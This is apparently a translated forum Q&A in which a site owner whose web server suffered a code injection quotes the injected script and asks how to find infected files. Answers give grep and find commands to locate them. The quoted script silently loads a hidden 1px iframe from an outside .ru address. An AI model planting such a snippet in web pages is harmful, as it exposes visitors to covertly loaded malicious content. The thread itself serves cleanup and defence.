![递归地在目录的每个文件上查找“表达式”](https://linux22.com/image/44023/%E9%80%92%E5%BD%92%E5%9C%B0%E5%9C%A8%E7%9B%AE%E5%BD%95%E7%9A%84%E6%AF%8F%E4%B8%AA%E6%96%87%E4%BB%B6%E4%B8%8A%E6%9F%A5%E6%89%BE%E2%80%9C%E8%A1%A8%E8%BE%BE%E5%BC%8F%E2%80%9D.png)
我的网络服务器上的一个网站遭受了攻击:代码注入。
这是恶意代码:
<script type=\"text/javascript\" language=\"javascript\">
(function () {
var t = document.createElement('iframe');
t.src = 'http://ahtiagge.ru/count27.php';
t.style.position = 'absolute';
t.style.border = '0';
t.style.height = '1px';
t.style.width = '1px';
t.style.left = '1px';
t.style.top = '1px';
if (!document.getElementById('t')) {
document.write('<div id=\'t\'></div>');
document.getElementById('t').appendChild(t);
}
})
();</script>
我想知道我的服务器上的所有文件的名称(和路径)以阻止传染。这是我想要匹配的表达式:'http://ahtiagge.ru/count27.php'
我想要这样的结果:
/var/www/vhosts/site1.com/httpdocs/index.php
/var/www/vhosts/site1.com/httpdocs/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/fileN.php
/var/www/vhosts/site1.com/httpdocs/one_directory/and_sub/fileN.php
如何使用 shell 脚本解决这个问题?是否可以 ?
答案1
您可以简单地使用grep
相同的
grep -RP "http:\/\/ahtiagge.ru\/count27\.php" /var/www/vhosts/
或者仅在以下命令的帮助下签入 *.php 文件find
find /var/www/vhosts/ -name "*.php" -print | xargs grep -P "http:\/\/ahtiagge.ru\/count27\.php"
答案2
我喜欢这个命令:
grep -i -n -I -H -R --include="*.php" -E "some_expression" .
干杯。